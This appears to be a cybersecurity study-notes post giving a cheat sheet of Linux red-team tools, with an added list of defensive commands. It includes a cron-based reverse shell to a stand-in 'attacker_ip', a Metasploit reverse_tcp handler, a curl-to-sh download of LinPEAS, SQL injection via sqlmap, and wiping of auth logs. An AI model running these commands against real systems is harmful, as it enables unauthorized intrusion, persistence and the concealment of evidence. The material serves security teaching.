Linux-Based Red Team Tools for Ethical Security Testing

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This infographic showcases Linux-based tools commonly used by red teams to simulate attacks and test defenses. The collection is shared to promote awareness of potential threats and defensive tactics. Always use these tools responsibly—unauthorized use is illegal and unethical.

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Study Notes – Cybersecurity Resources

You Should Know: Essential Red Team Tools & Commands

Reconnaissance & Information Gathering

1. Nmap – Network scanning and enumeration.

nmap -sV -A target_ip
nmap --script vuln target_ip

2. Recon-ng – Web reconnaissance framework.

recon-ng -m recon/domains-hosts/google_site_web

3. theHarvester – Email and subdomain enumeration.

theHarvester -d example.com -b google

Exploitation & Post-Exploitation

4. Metasploit Framework – Exploit development and execution.

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
exploit

5. SQLmap – Automated SQL injection attacks.

sqlmap -u "http://example.com/login.php?id=1" --dbs

6. John the Ripper – Password cracking.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Privilege Escalation

7. LinPEAS – Linux privilege escalation checker.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

8. GTFOBins – Exploiting misconfigured binaries.

find / -perm -4000 2>/dev/null

Lateral Movement & Persistence

9. SSHuttle – VPN-like tunneling over SSH.

sshuttle -r user@target_ip 192.168.1.0/24

10. Cron Jobs – Maintaining persistence.

echo "     /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" >> /tmp/cronjob
crontab /tmp/cronjob

Covering Tracks

11. Shred – Secure file deletion.

shred -u -z -n 5 sensitive_file.txt

12. Log Cleanup – Removing traces.

echo "" > /var/log/auth.log

What Undercode Say

Red teaming is a critical aspect of cybersecurity, helping organizations identify vulnerabilities before malicious actors exploit them. The tools listed above are powerful but must be used ethically and legally. Always obtain proper authorization before testing systems.

For defenders, understanding these tools allows for better threat detection and mitigation. Implement strong logging, intrusion detection systems (IDS), and regular penetration testing to stay ahead of attackers.

Key Defensive Commands:

  • Detecting Suspicious Processes:
    ps aux | grep -i "meterpreter|reverse_shell"
    
  • Monitoring Network Traffic:
    tcpdump -i eth0 -w capture.pcap
    
  • Checking Open Ports:
    netstat -tulnp
    
  • Securing SSH:
    nano /etc/ssh/sshd_config  Disable root login & enforce key-based auth
    

Stay vigilant, keep systems updated, and follow the principle of least privilege to minimize attack surfaces.

Expected Output:

  • Enhanced understanding of red team tools.
  • Practical command examples for ethical security testing.
  • Defensive measures to protect against these techniques.

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References:

Reported By: Xmodulo This – Hackers Feeds
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